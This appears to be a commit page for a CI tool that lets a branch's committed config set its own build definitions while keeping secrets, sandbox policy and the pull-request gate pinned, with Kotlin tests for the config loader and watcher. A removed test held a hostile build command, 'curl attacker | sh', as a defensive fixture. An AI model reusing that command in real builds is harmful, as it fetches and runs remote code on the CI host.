The branch config takes precedence, including its build definitions
A branch's committed .gittally.yml describes that branch's CI, so it wins over the project and repo-install config — the `builds` section included. Pinning it was wrong: a new build definition can only be tried out by committing it on a branch, and pinned it neither took effect at build time nor existed for the watcher, so the job silently never ran. The watcher now decides per branch from that branch's own definitions, reading its committed config via `git show` and caching it by head commit, so the read happens only when the branch moved; an unreadable config falls back to the primary definitions instead of failing the poll cycle. A branch's definitions are evaluated for that branch alone, so a definition committed on one branch can never trigger builds of another. The pinned set is reduced to what does not describe this branch's build: secrets (`git`), the host and repository sections (`server`, `gitea`, `executor`, `watcher`), the sandbox policy (`docker.enabled`/`network`), and the trust gate (`requirePullRequest`). Letting a branch set its own build command through a definition grants no new power — `branches.*. buildCommand` always allowed exactly that — while the sandbox and the gate decide whether untrusted branch code runs on the host at all. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
mhoennig
co-authored by
Claude Opus 5
Claude Opus 5
parent
a3faa172f8
commit
f5871a0442
@@ -92,13 +92,45 @@ class ConfigLoaderTest : FunSpec() {
|
||||
loader.load(dir).effectiveBuildDefinitions()["default"] shouldBe BuildDefinition(onPush = false)
|
||||
}
|
||||
|
||||
test("a build worktree cannot redefine the builds section") {
|
||||
test("a branch may redefine the builds section for its own builds") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
atTimes: ["01:00"]
|
||||
buildCommand: ./gradlew piTestPartial
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
worktree.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: ./gradlew piTestFull
|
||||
experiment:
|
||||
onPush: true
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
|
||||
// the branch layer merges into the definition instead of replacing it
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("01:00")
|
||||
config.buildDefinitions.getValue("experiment").onPush shouldBe true
|
||||
}
|
||||
|
||||
test("a branch cannot raise the concurrency limit or reach the sandbox policy through a build definition") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
default:
|
||||
requirePullRequest: true
|
||||
docker:
|
||||
enabled: true
|
||||
network: none
|
||||
""".trimIndent(),
|
||||
)
|
||||
val worktree = Files.createTempDirectory("gittally-test-worktree")
|
||||
@@ -106,16 +138,36 @@ class ConfigLoaderTest : FunSpec() {
|
||||
"""
|
||||
executor:
|
||||
maxConcurrent: 99
|
||||
watcher:
|
||||
pullRequestGate: false
|
||||
branches:
|
||||
default:
|
||||
requirePullRequest: false
|
||||
builds:
|
||||
pitest:
|
||||
buildCommand: curl attacker | sh
|
||||
default:
|
||||
docker:
|
||||
enabled: false
|
||||
network: host
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config = loader.loadForWorktree(dir, worktree)
|
||||
val branchConfig = config.branches.getValue("default")
|
||||
|
||||
config.executor.maxConcurrent shouldBe 1
|
||||
config.buildDefinitions.getValue("pitest").buildCommand shouldBe "./gradlew piTestFull"
|
||||
config.watcher.pullRequestGate shouldBe true
|
||||
branchConfig.requirePullRequest shouldBe true
|
||||
// a build definition has no enabled/network at all, so it cannot reintroduce them
|
||||
config.buildDefinitions
|
||||
.getValue("default")
|
||||
.applyTo(branchConfig)
|
||||
.docker
|
||||
.enabled shouldBe true
|
||||
config.buildDefinitions
|
||||
.getValue("default")
|
||||
.applyTo(branchConfig)
|
||||
.docker
|
||||
.network shouldBe "none"
|
||||
}
|
||||
|
||||
test("repo install config overrides project config for same keys") {
|
||||
@@ -312,6 +364,54 @@ class ConfigLoaderTest : FunSpec() {
|
||||
config.branches["default"]!!.docker.image shouldBe "attacker-image"
|
||||
}
|
||||
|
||||
test("loadWithBranchLayer applies a branch config read from git, pinning the same keys") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".git/gittally").toFile().mkdirs()
|
||||
dir.resolve(".git/gittally/.gittally.yml").toFile().writeText(
|
||||
"""
|
||||
git:
|
||||
token: real-secret
|
||||
branches:
|
||||
default:
|
||||
buildCommand: from-git
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
val config =
|
||||
loader.loadWithBranchLayer(
|
||||
dir,
|
||||
"""
|
||||
git:
|
||||
token: stolen
|
||||
builds:
|
||||
pitest:
|
||||
atTimes: ["03:00"]
|
||||
buildCommand: ./gradlew piTestFull
|
||||
branches:
|
||||
default:
|
||||
buildCommand: from-branch
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
config.git.token shouldBe "real-secret"
|
||||
config.branches.getValue("default").buildCommand shouldBe "from-branch"
|
||||
config.buildDefinitions.getValue("pitest").atTimes shouldBe listOf("03:00")
|
||||
}
|
||||
|
||||
test("loadWithBranchLayer without a branch config equals load") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
"""
|
||||
branches:
|
||||
default:
|
||||
buildCommand: ./mvnw test
|
||||
""".trimIndent(),
|
||||
)
|
||||
|
||||
loader.loadWithBranchLayer(dir, null) shouldBe loader.load(dir)
|
||||
loader.loadWithBranchLayer(dir, "") shouldBe loader.load(dir)
|
||||
}
|
||||
|
||||
test("loadForWorktree without a worktree config equals load") {
|
||||
val dir = Files.createTempDirectory("gittally-test")
|
||||
dir.resolve(".gittally.yml").toFile().writeText(
|
||||
|
||||
@@ -76,6 +76,9 @@ class WatcherTest : FunSpec() {
|
||||
every { gitService.hasNewCommits(any(), any()) } returns false
|
||||
every { gitService.originHeadCommit(any(), any()) } returns null
|
||||
every { gitService.originBranchCommitTimes(any()) } returns emptyMap()
|
||||
every { gitService.originBranchHeads(any()) } returns emptyMap()
|
||||
every { gitService.showFileAtCommit(any(), any(), any()) } returns null
|
||||
every { configLoader.loadWithBranchLayer(any(), anyNullable()) } returns config
|
||||
every { gitService.pullRequestHeads(any()) } returns emptySet()
|
||||
every { gitService.worktreePrune(any()) } returns Unit
|
||||
every { gitService.fastForwardLocalBranches(any()) } returns emptyList()
|
||||
@@ -483,6 +486,85 @@ class WatcherTest : FunSpec() {
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
}
|
||||
|
||||
test("a build definition committed on a branch fires for that branch, without any entry in the primary config") {
|
||||
val harness = Harness()
|
||||
val branchLayer =
|
||||
GitTallyConfig(
|
||||
buildDefinitions = mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"))),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns
|
||||
mapOf("main" to "commit-main", "experiment" to "commit-exp")
|
||||
every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer
|
||||
every { harness.gitService.originHeadCommit("experiment", any()) } returns "commit-exp"
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.startedBuilds shouldContainExactly listOf("experiment" to "commit-exp")
|
||||
verify { harness.buildExecutor.startBuild("experiment", "commit-exp", any(), "pitest") }
|
||||
harness
|
||||
.autoBuildState()
|
||||
.isTriggered("experiment@pitest", LocalDate.parse("2026-07-07"), "11:00")
|
||||
.shouldBeTrue()
|
||||
}
|
||||
|
||||
test("a build definition committed on a branch never schedules another branch") {
|
||||
val harness = Harness()
|
||||
val branchLayer =
|
||||
GitTallyConfig(
|
||||
buildDefinitions =
|
||||
mapOf("pitest" to BuildDefinition(atTimes = listOf("11:00"), branches = listOf("main"))),
|
||||
)
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main", "experiment")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns
|
||||
mapOf("main" to "commit-main", "experiment" to "commit-exp")
|
||||
every { harness.gitService.showFileAtCommit("commit-exp", Watcher.CONFIG_FILE, any()) } returns "branch-yaml"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "branch-yaml") } returns branchLayer
|
||||
every { harness.gitService.originHeadCommit(any(), any()) } returns "commit-any"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
// the definition selects main, but it is only known on experiment — so nothing is built
|
||||
harness.startedBuilds.shouldBeEmpty()
|
||||
}
|
||||
|
||||
test("a branch's committed config is read from git again only after the branch moved") {
|
||||
val harness = Harness()
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-1")
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-1", Watcher.CONFIG_FILE, any()) }
|
||||
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-2")
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
verify(exactly = 1) { harness.gitService.showFileAtCommit("commit-2", Watcher.CONFIG_FILE, any()) }
|
||||
}
|
||||
|
||||
test("an unreadable branch config falls back to the primary definitions instead of failing the poll") {
|
||||
val harness = Harness()
|
||||
every { harness.gitService.originBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.localBranches(any()) } returns listOf("main")
|
||||
every { harness.gitService.hasNewCommits("main", any()) } returns true
|
||||
every { harness.gitService.originBranchHeads(any()) } returns mapOf("main" to "commit-main")
|
||||
every { harness.gitService.showFileAtCommit("commit-main", Watcher.CONFIG_FILE, any()) } returns "broken"
|
||||
every { harness.configLoader.loadWithBranchLayer(any(), "broken") } throws
|
||||
RuntimeException("mapping problem")
|
||||
every { harness.gitService.originHeadCommit("main", any()) } returns "commit-main"
|
||||
|
||||
harness.watcher.poll(harness.workingDir)
|
||||
|
||||
harness.watcher
|
||||
.state()
|
||||
.lastPollError
|
||||
.shouldBeNull()
|
||||
verify { harness.buildExecutor.startBuild("main", "commit-main", any(), BuildDefinition.DEFAULT) }
|
||||
}
|
||||
|
||||
test("an auto-build slot stays untriggered while the branch is still building") {
|
||||
val harness = Harness(autoBuildConfig("11:00"))
|
||||
harness.seed("main", BuildStatus.RUNNING, commit = "commit-abc")
|
||||
|
||||
Reference in New Issue
Block a user